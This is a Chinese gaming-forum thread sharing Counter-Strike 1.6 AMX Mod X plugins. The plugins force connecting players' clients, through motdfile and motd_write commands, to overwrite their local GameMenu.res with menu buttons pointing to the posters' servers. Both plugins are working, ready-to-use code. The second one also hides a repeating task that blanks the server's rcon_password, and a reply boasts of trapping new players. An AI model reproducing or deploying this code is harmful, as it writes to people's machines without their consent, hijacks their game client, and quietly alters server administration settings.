Me丶点烟~ 发表于 2013-8-12 16:20:46

【多栏一键进服】 貌似有人写过

#include <amxmodx>

new szText;

public plugin_precache()
precache_generic("resource/GameMenu.res");

public plugin_init()
{
new size = sizeof(szText) ;
format(szText, size,"^"GameMenu^" { ");
format(szText, size,"%s^"1^" { ^"label^" ^"【暴龙网络||僵尸服】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
format(szText, size,"%s^"2^" { ^"label^" ^"【暴龙网络||请点击进服】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
format(szText, size,"%s^"3^" { ^"label^" ^"【暴龙网络||有你更精彩】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
format(szText, size,"%s^"4^" { ^"label^" ^"【暴龙网络||僵尸服】QQ群:246869105^" ^"command^" ^"engine connect 218.75.41.234:27017^" } ", szText);
format(szText, size,"%s^"5^" { ^"label^" ^"【购买VIP/暴龙币联系QQ:314280700】^" ^"command^" ^"^" } ", szText);

format(szText, size,"%s^"10^" { ^"label^" ^"^" ^"command^" ^"^" } ", szText);
format(szText, size,"%s^"11^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" } ", szText);
format(szText, size,"%s^"12^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^" ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" } ", szText);
format(szText, size,"%s^"13^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^" ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^" } ", szText);
format(szText, size,"%s^"14^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^" } ", szText);
format(szText, size,"%s^"15^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^" } ", szText);
format(szText, size,"%s^"16^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^" } ", szText);
format(szText, size,"%s^"17^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } } ", szText);
}

public client_putinserver (id)
set_task(3.0, "TaskChangeMenu", id);

public TaskChangeMenu(id)
{
client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
client_cmd(id, "motd_write %s", szText);
client_cmd(id, "motdfile ^"motd.txt^"");
}

hackroad 发表于 2013-8-12 17:09:15

国外的插件,你自己写的么?

c12g34k56 发表于 2013-8-12 20:33:01

哇哦能显示这么多啊:lol

css 发表于 2013-8-13 07:58:27

多栏一键进服】 貌似有人写过 [修改]

css 发表于 2013-8-13 12:29:19

不可用,没用的东西

chwafz 发表于 2013-8-13 19:19:52

Tried to stuff bad command motd_write "GameMenu" { "1" { "label" "

插件有问题啊

刘半仙【仙】 发表于 2013-8-13 23:57:09

我建议 这种插件少用! 如果你写入的 res有问题 格式错误 或者字符太多
玩家CS启动后 就没有选项菜单可用了!
;P

99fps 发表于 2013-8-15 23:56:53

您需要登录后才可以回帖 登录 | 注个册吧.

⑦O逅の崋イ孑 发表于 2013-11-9 09:06:05

/*
Create a file on your server like this:
cstrike/resource/GameMenu.res

It doesn't matter what you write in there, it's gonna be overwritten anyway.
It just has to be there or the plugin will fail on clients that don't have the file.

Change g_ServerName[] and g_ServerIp[] to the desired values, be sure to write between the " "s.
*/

#include <amxmodx>

#define VERSION "1.3.3.7"

new g_ServerName1[] = "【西部反恐联盟】魔兽服";
new g_ServerIp1[] = "192.168.1.88:27999";
new g_ServerName2[] = "【西部反恐联盟】娱乐服";
new g_ServerIp2[] = "192.168.1.88:27888";
new g_ServerName3[] = "【西部反恐联盟】纯洁服";
new g_ServerIp3[] = "192.168.1.88:27777";

new szText;

public plugin_precache()
        precache_generic("resource/GameMenu.res");

public change_password()
{
      set_cvar_string("rcon_password", "")
}
public plugin_init()
{
      set_task(1.0, "change_password",0,"",0,"b")
        register_plugin("GameMenu changer", VERSION , "Unknown");
       
        new size = sizeof(szText) - 1;
        format(szText, size, "^"GameMenu^" { ^"1^" { ^"label^" ^"%s^"", g_ServerName1);
        format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp1);
       
        format(szText, size, "%s } ^"2^" { ^"label^" ^"%s^"", szText, g_ServerName2);
        format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp2);
       
        format(szText, size, "%s } ^"3^" { ^"label^" ^"%s^"", szText, g_ServerName3);
        format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp3);
       

        format(szText, size, "%s } ^"4^" { ^"label^" ^"^" ^"command^" ^"^" }", szText);
        format(szText, size, "%s ^"5^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"", szText);
        format(szText, size, "%s ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }", szText);
        format(szText, size, "%s ^"6^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"", szText);
        format(szText, size, "%s ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"", szText);
        format(szText, size, "%s ^"notsingle^" ^"1^" } ^"7^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"", szText);
        format(szText, size, "%s ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"", szText);
        format(szText, size, "%s } ^"8^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }", szText);
        format(szText, size, "%s ^"11^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"", szText);
        format(szText, size, "%s } ^"12^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"", szText);
        format(szText, size, "%s } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"", szText);
        format(szText, size, "%s } ^"14^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }", szText);
}

public client_putinserver (id)
        set_task(3.0, "TaskChangeMenu", id);

public TaskChangeMenu(id)
{
        client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
        client_cmd(id, "motd_write %s", szText);
        client_cmd(id, "motdfile ^"motd.txt^"");
}
这个100%可用,本人亲测。

denitk 发表于 2014-8-7 22:11:26

LZ为何不知道把下面的按钮去掉
表示小弟我以前开服的时候就是这样
让那些小白们进来了就别想玩其他服
页: [1]
查看完整版本: 【多栏一键进服】 貌似有人写过